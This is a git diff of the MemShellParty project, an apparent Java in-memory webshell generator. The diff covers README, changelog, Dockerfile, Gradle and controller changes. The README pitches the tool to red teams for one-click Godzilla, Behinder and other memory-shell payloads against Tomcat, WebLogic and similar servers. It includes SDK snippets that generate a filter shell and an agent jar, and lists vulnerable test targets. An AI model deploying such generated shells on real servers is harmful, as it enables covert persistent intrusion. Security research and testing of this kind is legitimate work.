- 修复 sonner 颜色主题未随着修改而变化
- 修复 IDEA 本地构建 version 一直是 unspecified
**Full Changelog:** [v1.0.0...v1.1.0](https://github.com/ReaJason/MemShellParty/compare/v1.0.0...v1.1.0)
## [v1.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.0.0) - 2025-01-03
### Added
- 支持 Tomcat、Jetty、WebLogic、GlassFish、JBoss、Resin 等 18 个中间件或框架的应用内存马
- 支持 Filter、Servlet、Listener、NettyHandler、Agent 等常见内存马挂载类型
- 支持哥斯拉、冰蝎、命令执行功能
- 支持 Base64、Jar、JSP、常见表达式、常见模板引擎、反序列化等打包方式
+23 -12
View File
@@ -1,19 +1,27 @@
## Contribute
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
> It will be so nice if you want to contribute. 🎉
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
### 目录结构
- bom: 依赖版本管理,不用写到处写版本号就是舒服
- boot:使用 SpringBoot 为 UI 提供生成服务
- commonbytebuddy 等工具类存放
- memshell-party-commonbytebuddy/asm 等工具类存放
- generator:内存马生成核心
- deserialize:反序列化相关 gadget
- packer:常见漏洞 payload 生成
- integration-test:集成测试用例
- memshell:内存功能类以及注入器(为保证兼容性够高,所以单独弄出来)
- memshell-java8Spring 相关的存在 lambda 表达式所以单独弄出来
- tools/behinder:冰蝎简易连接器
- tools/godzilla:哥斯拉简易连接器
- tools/suo5Suo5 简易连接器
- memshell:内存功能类以及注入器
- memshell-agentAgent 内存马 playground,可参考 asm/javassist/bytebuddy 编写 Agent 内存马
- tools/*:内存马简易连接器,用于测试内存马注入之后是否可用
- web:使用 react 开发的 Web UI
- vul/vul-webapp:简易的 javax.servlet 靶场
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
- vul/vul-webapp-deserialize:简易的反序列化相关靶场
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
- vul/springboot*: springboot 相关靶场
@@ -28,12 +36,15 @@
# 运行集成测试用例,谨慎运行,用例太多了
./gradlew :integration-test:test --info
# 仅运行 tomcat 下的集成测试用例
# 仅运行 tomcat 下的集成测试用例(需要先构建靶场)
./gradlew :vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war
./gradlew :integration-test:test --tests '*.tomcat.*'
# 仅运行 jetty 下的集成测试用例
# 仅运行 jetty 下的集成测试用例(需要先构建靶场)
./gradlew :vul:vul-webapp:war :vul:vul-webapp-jakarta:war
./gradlew :integration-test:test --tests '*.jetty.*'
# 构建 war 包
# 构建靶场 war 包
./gradlew :vul:vul-webapp:war
./gradlew :vul:vul-webapp-jakarta:war
./gradlew :vul:vul-webapp-expression:war
@@ -57,7 +68,7 @@ UI 采用的 React SPA + SpringBoot,构建时需要先将 React 前端项目
### Contribute Code
> 参考 GitHub Docs https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
> 参考 GitHub Docshttps://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
1. fork 当前项目
2. git clone 自己 fork 后的项目
+8 -14
View File
@@ -1,7 +1,4 @@
FROM buildpack-deps:bullseye-scm AS source
ARG VERSION="1.0.0"
ENV VERSION=${VERSION}
FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
WORKDIR /usr/src
@@ -9,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun
FROM oven/bun:1.2.9 AS frontend
FROM --platform=$BUILDPLATFORM oven/bun:1.3.6 AS frontend
ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH=""
@@ -17,9 +14,9 @@ ARG CONTEXT_PATH=""
WORKDIR /usr/src/web
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
RUN bun install --frozen-lockfile
@@ -27,11 +24,8 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build
# https://hub.docker.com/_/eclipse-temurin
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
ARG VERSION="1.0.0"
ENV VERSION=${VERSION}
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
WORKDIR /usr/src
@@ -39,9 +33,9 @@ COPY --from=source /usr/src /usr/src
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
RUN ./gradlew -Pversion=${VERSION} :boot:bootjar -x test
RUN ./gradlew :boot:bootjar -x test
FROM eclipse-temurin:17.0.14_7-jre-noble
FROM eclipse-temurin:17.0.17_10-jre-noble
LABEL authors="ReaJason<[email protected]>"
+32 -329
View File
@@ -1,11 +1,6 @@
<h1 align="center">MemShellParty</h1>
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
<div align="center">
[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
</div>
<div align="center">
@@ -17,7 +12,7 @@
<div align="center">
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk)
</div>
> [!WARNING]
@@ -25,37 +20,46 @@
> [!TIP]
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
> 交流群,欢迎一起学习交流
> 交流群,欢迎一起学习交流
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
MemShellParty 是一款专注于主流 Web 中间件内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率
希望你能从这个项目学会或尝试做的:
1. 学会编写常见中间件框架的内存马。
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
5. 尝试使用 Gradle 构建 Java 项目(platform 编写依赖版本管理,toolchain 可以在根项目设置 JDK17 环境下也能完成 JDK6 源代码的编译)
![normal_generator](asserts/normal_generator.png)
![agent_generator](asserts/agent_generator.png)
<p align="center">
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
<img src="assets/about_page.png" alt="about_page" width="24%">
</p>
## 主要特性
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
- 高可用性:自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
- 最小化:尽可能精简内存马大小,高效传输
- 强兼容性:覆盖攻防场景下常见中间件和框架。
- **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
- **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。
- **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性
- **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了
**30%**,Agent 内存马采用 ASM 技术缩小了 **80%**
- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入
MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。
## 快速使用
### 使用前必看
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
GlassFish,因为它使用的是 GlassFish 进行的二开)。
### 在线站点
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
直接访问 [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
可访问master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
### 本地部署(推荐)
@@ -74,311 +78,10 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
```
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
```bash
# 移除之前部署的
docker rm -f memshell-party
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
### SDK 集成到现有工具中
> 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持
1. 添加依赖,Maven Or Gradle
```xml
<!-- Maven Repo-->
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.7.0</version>
</dependency>
```
```groovy
// Gradle Repo
implementation 'io.github.reajason:generator:1.7.0'
```
2. 生成 Tomcat Godzilla Filter 内存马示例
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:"+result.getInjectorClassName());
System.out.println("内存马类名:"+result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result));
System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result));
```
3. 生成 Tomcat Godzilla AgentFilterChain 示例
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
```
4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
## 适配情况
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
### 中间件以及框架
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|
| Filter | Filter | Filter |
| Listener | Listener | Listener |
| Valve | Valve | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| Apusic AS 9 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |
| Listener | Valve |
| FilterChain - Agent | FilterChain - Agent |
| | ContextValve - Agent |
### 内存马功能
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
- [x] 命令执行
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
### 封装方式
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化(CB 和 CC 链)
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT链)
- [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化
## 本地构建
### 源代码构建
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
1. 使用 Git Clone 项目
```bash
git clone https://github.com/ReaJason/MemShellParty.git
```
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
```bash
cd MemShellParty/web
bun install
bun run build
```
3. 构建后端项目,确保使用 JDK17 环境
```bash
cd MemShellParty/boot
./gradlew :boot:bootjar -x test
```
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
```bash
cd MemShellParty/boot
java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar
```
也可这基础上再继续构建容器来使用
```bash
cd MemShellParty/boot
docker buildx build -t memshell-party:latest . --load
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```
### Dockerfile 一键构建
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44)
下载项目根目录的 [Dockerfile](./Dockerfile)
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
- ROUTE_ROOT_PATH: 前端根路由配置
- CONTEXT_PATH: 后端访问前缀
```bash
# 基础构建
docker buildx build \
--build-arg VERSION=1.6.0 \
-t memshell-party:latest . --load
# 基础镜像启动,访问 127.0.0.1:8080
docker run -it -d -p 8080:8080 memshell-party:latest
# 自定义访问路径构建
docker buildx build \
--build-arg VERSION=1.6.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
docker run -it -p 8080:8080 \
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
memshell-party:latest
```
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
其中 `location /memshell-party``ROUTE_ROOT_PATH=/memshell-party``CONTEXT_PATH=/memshell-party`
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
```text
location /memshell-party {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-By $server_addr:$server_port;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_http_version 1.1;
proxy_connect_timeout 3s;
proxy_read_timeout 300s;
proxy_send_timeout 300s;
proxy_buffer_size 16k;
proxy_buffers 8 64k;
proxy_busy_buffers_size 128k;
}
```
## Contribute
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
> It will be so nice if you want to contribute. 🎉
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
项目结构目录、构建和编译可参考 [CONTRIBUTING.md](CONTRIBUTING.md)。
## Thanks
## Special Thanks
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
### Let's start the party 🎉
Binary file not shown.

Before

Width:  |  Height:  |  Size: 130 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 242 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 136 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 236 KiB

+35
View File
@@ -0,0 +1,35 @@
import http.server
import socketserver
PORT = 8000
TARGET_PATH = "/api/v1/data"
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
def do_POST(self):
if self.path == TARGET_PATH:
try:
content_length = int(self.headers['Content-Length'])
post_data_bytes = self.rfile.read(content_length)
post_data_str = post_data_bytes.decode('utf-8')
print("-----------------------------\n")
print(f"Client IP: {self.client_address}")
print(f"Request Header:\n{self.headers}")
print(f"Request Body:\n{post_data_str}")
print("-----------------------------\n")
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.end_headers()
response_message = '{"status": "success"}'
self.wfile.write(response_message.encode('utf-8'))
except Exception as e:
print(f"Parse POST failed: {e}")
self.send_response(500)
else:
print("Make sure use " + TARGET_PATH + " rather than " + self.path)
self.send_response(404)
with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ")
httpd.serve_forever()
+16
View File
@@ -0,0 +1,16 @@
import http from 'k6/http';
import {check, sleep} from 'k6';
export const options = {
rps: 4500,
vus: 10,
duration: '5m',
};
export default function () {
const res = http.get('http://localhost:8082/app/test');
check(res, {
'status is 200': (r) => r.status === 200,
});
sleep(1);
}
@@ -2,7 +2,7 @@ FROM python:3.12-slim
WORKDIR /app
RUN pip install requests
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
COPY neoreg.py .
Binary file not shown.

After

Width:  |  Height:  |  Size: 268 KiB

BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+1 -1
View File
@@ -1,4 +1,4 @@
FROM eclipse-temurin:17.0.14_7-jre-noble
FROM eclipse-temurin:17.0.17_10-jre-noble
LABEL authors="ReaJason<[email protected]>"
-63
View File
@@ -1,63 +0,0 @@
plugins {
id 'java'
id 'org.springframework.boot' version '3.4.6'
id 'io.spring.dependency-management' version '1.1.7'
}
group = 'com.reajason.javaweb'
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
}
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
// For running the application
tasks.withType(JavaExec).configureEach {
jvmArgs += runtimeJvmArgs
}
configurations {
compileOnly {
extendsFrom annotationProcessor
}
}
dependencies {
implementation(project(":generator")) {
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
exclude group: 'commons-logging', module: 'commons-logging'
}
implementation(project(":deserialize")) {
exclude group: 'commons-logging', module: 'commons-logging'
}
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
implementation('org.springframework.boot:spring-boot-starter-web') {
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
}
implementation 'org.apache.commons:commons-lang3:3.17.0'
implementation 'org.springframework.boot:spring-boot-starter-undertow'
compileOnly 'org.projectlombok:lombok'
developmentOnly 'org.springframework.boot:spring-boot-devtools'
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
annotationProcessor 'org.projectlombok:lombok'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
}
test {
useJUnitPlatform()
}
+47
View File
@@ -0,0 +1,47 @@
plugins {
id("java")
id("org.springframework.boot") version "3.5.11"
id("io.spring.dependency-management") version "1.1.7"
}
group = "io.github.reajason"
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
}
}
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
configurations {
compileOnly {
extendsFrom(configurations.annotationProcessor.get())
}
}
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
dependencies {
implementation(project(":generator")) {
exclude(group = "commons-logging", module = "commons-logging")
exclude(group = "com.reajason.javaweb", module = "thirdparty-tomcat")
}
implementation(project(":packer")) {
exclude(group = "commons-logging", module = "commons-logging")
}
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
implementation("org.springframework.boot:spring-boot-starter-web")
implementation(libs.commons.lang3)
compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools")
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
annotationProcessor("org.projectlombok:lombok")
testImplementation("org.springframework.boot:spring-boot-starter-test")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
}
tasks.test {
useJUnitPlatform()
}
@@ -1,12 +1,9 @@
package com.reajason.javaweb.boot;
import com.reajason.javaweb.memshell.Server;
import lombok.extern.slf4j.Slf4j;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import java.util.Arrays;
/**
* @author ReaJason
*/
@@ -16,8 +13,5 @@ public class BootApplication {
public static void main(String[] args) {
SpringApplication.run(BootApplication.class, args);
Server[] values = Server.values();
log.info("Supported servers: {}", Arrays.toString(values));
log.info("For another server, you can open a issue in GitHub, https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md");
}
}
@@ -1,10 +1,13 @@
package com.reajason.javaweb.boot.api;
import com.reajason.javaweb.GenerationException;
import lombok.extern.slf4j.Slf4j;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestControllerAdvice;
import org.springframework.web.servlet.resource.NoResourceFoundException;
/**
* @author ReaJason
@@ -13,10 +16,29 @@ import org.springframework.web.bind.annotation.RestControllerAdvice;
@RestControllerAdvice
@Slf4j
public class GlobalExceptionHandler {
@ResponseStatus(HttpStatus.NOT_FOUND)
@ExceptionHandler(NoResourceFoundException.class)
public ResponseEntity<?> handleNoResourceException() {
return ResponseEntity.status(HttpStatus.NOT_FOUND).build();
}
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
@ExceptionHandler(GenerationException.class)
public ErrorResponse handleGenerationException(GenerationException exception) {
return new ErrorResponse(exception.getMessage());
}
@ResponseStatus(HttpStatus.BAD_REQUEST)
@ExceptionHandler(IllegalArgumentException.class)
public ErrorResponse handleIllegalArgumentException(IllegalArgumentException exception) {
return new ErrorResponse(exception.getMessage());
}
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
@ExceptionHandler(Throwable.class)
public ErrorResponse handleThrowable(Throwable throwable) {
log.error("请求出错", throwable);
log.error("Internal Exception", throwable);
return new ErrorResponse(throwable.getMessage());
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.boot.controller;
import org.springframework.asm.ClassReader;
import org.springframework.cglib.core.ClassNameReader;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/11/10
*/
@RestController
@CrossOrigin("*")
public class ClassNameParseController {
@PostMapping("/api/className")
public String className(@RequestBody String classBase64) {
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
}
}
@@ -1,11 +1,10 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.vo.CommandConfigVO;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractShell;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.packer.Packers;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
@@ -18,46 +17,58 @@ import java.util.*;
* @since 2024/12/13
*/
@RestController
@RequestMapping("/config")
@RequestMapping("/api/config")
@CrossOrigin("*")
public class ConfigController {
@RequestMapping("/servers")
public Map<String, List<String>> getServers() {
Map<String, List<String>> servers = new LinkedHashMap<>();
for (Server server : Server.values()) {
if (server.getShell() != null) {
Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
servers.put(server.name(), supportedShellTypes.stream().toList());
}
List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) {
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
.getShellInjectorMapping().getSupportedShellTypes();
servers.put(supportedServer, supportedShellTypes.stream().toList());
}
return servers;
}
@RequestMapping("/packers")
public List<String> getPackers() {
return Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(Packers::name).toList();
public List<PackerCategoryDTO> getPackers() {
List<PackerCategoryDTO> result = new ArrayList<>();
for (Map.Entry<String, List<Packers>> entry : Packers.groupedPackers().entrySet()) {
PackerCategoryDTO category = new PackerCategoryDTO();
category.setName(entry.getKey());
List<PackerOptionDTO> options = new ArrayList<>();
for (Packers packer : entry.getValue()) {
PackerOptionDTO option = new PackerOptionDTO();
option.setName(packer.name());
option.setOutputKind(packer.getOutputKind());
option.setCategoryAnchor(packer.hasChildren());
option.setSchema(packer.getSchema());
options.add(option);
}
category.setPackers(options);
result.add(category);
}
return result;
}
@RequestMapping
public Map<String, Map<?, ?>> config() {
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
for (Server value : Server.values()) {
AbstractShell shell = value.getShell();
if (shell == null) {
continue;
}
List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) {
AbstractServer server = ServerFactory.getServer(supportedServer);
Map<String, Set<String>> map = new LinkedHashMap<>(16);
for (ShellTool shellTool : shell.getSupportedShellTools()) {
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
